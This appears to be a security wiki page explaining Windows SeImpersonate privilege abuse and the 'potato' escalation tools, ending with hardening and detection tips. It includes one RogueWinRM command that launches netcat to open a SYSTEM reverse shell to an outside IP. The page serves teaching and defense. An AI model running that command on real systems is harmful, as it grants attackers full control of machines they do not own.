SeImpersonate / SeAssignPrimaryToken Abuse (Potato Attacks)

SeImpersonatePrivilege (“Impersonate a client after authentication”) and SeAssignPrimaryTokenPrivilege are the “golden privileges” of Windows local privilege escalation. Either one lets a process swap its security token for a captured, more-privileged one — and Windows hands them out generously to service accounts: Local Service, Network Service, and IIS application-pool identities (e.g. IIS AppPool\DefaultAppPool) all carry them by default. That’s why popping a web shell or service-account shell so often escalates straight to SYSTEM. Check with whoami /priv (see whoami).

Why the privilege alone isn’t enough

Windows does not allow arbitrary impersonation: you cannot simply mint a SYSTEM token out of thin air. The exploit pattern is always two-stage:

1. Control a server endpoint running as the service account (a named pipe, COM object, or — in RogueWinRM’s case — a fake WinRM listener).
2. Coerce a privileged account to connect/authenticate to it. At that moment the impersonation privilege lets the server adopt the client’s token, yielding SYSTEM.

The family of tools implementing this is collectively known as the potato attacks: Hot Potato → Rotten Potato → Juicy Potato (COM/BITS coercion with selectable CLSIDs) → Rogue Potato (redirecting the OXID resolver through an attacker-controlled port-135 forwarder) → SweetPotato / PrintSpoofer / GodPotato (modern Windows 10+/Server 2019+ variants that survived Microsoft’s DCOM hardening).

RogueWinRM

RogueWinRM (antonioCoco) exploits the BITS service’s behavior: when triggered, BITS attempts to connect to the local WinRM service on port 5985 as SYSTEM. If the real WinRM service is stopped, an attacker can bind 5985 with RogueWinRM’s fake listener, capture that SYSTEM authentication, and impersonate it to launch an arbitrary process:

C:\RogueWinRM.exe -p C:\nc64.exe `
                  -a "-e cmd.exe 10.13.25.33 4442"

The result is a reverse shell (netcat-style) running as SYSTEM. Requirements: a service-account context holding SeImpersonatePrivilege, and the real WinRM service not already listening (otherwise backdooring the actual service would be the intrusive alternative).

Hardening and detection

• Reduce privilege grants: audit which custom service accounts hold SeImpersonate/SeAssignPrimaryToken; strip where not strictly required
• Microsoft mitigations: DCOM hardening (KB5004442-era) broke Juicy Potato-style OXID coercion; later potato variants target different coercion surfaces, so patching cadence matters
• Detection: new services/named pipes created by service accounts; WmiPrvSE/BITS anomalous child processes; Sysmon EID 10 (process access) on token-duplication patterns; the Windows Local Privilege Escalation Cookbook catalogs per-tool indicators

Sources

• antonioCoco/RogueWinRM — Windows Local Privilege Escalation from Service Account to System
• SeImpersonatePrivilege — Windows Local Privilege Escalation Cookbook
• Potatoes - Windows Privilege Escalation (Jorge Lajara)
• Access Token Manipulation: Token Impersonation/Theft, Sub-technique T1134.001 - Enterprise | MITRE ATT&CK

Related: windows-remote-management, evil-winrm, whoami, common-windows-user-types, exploit-windows-services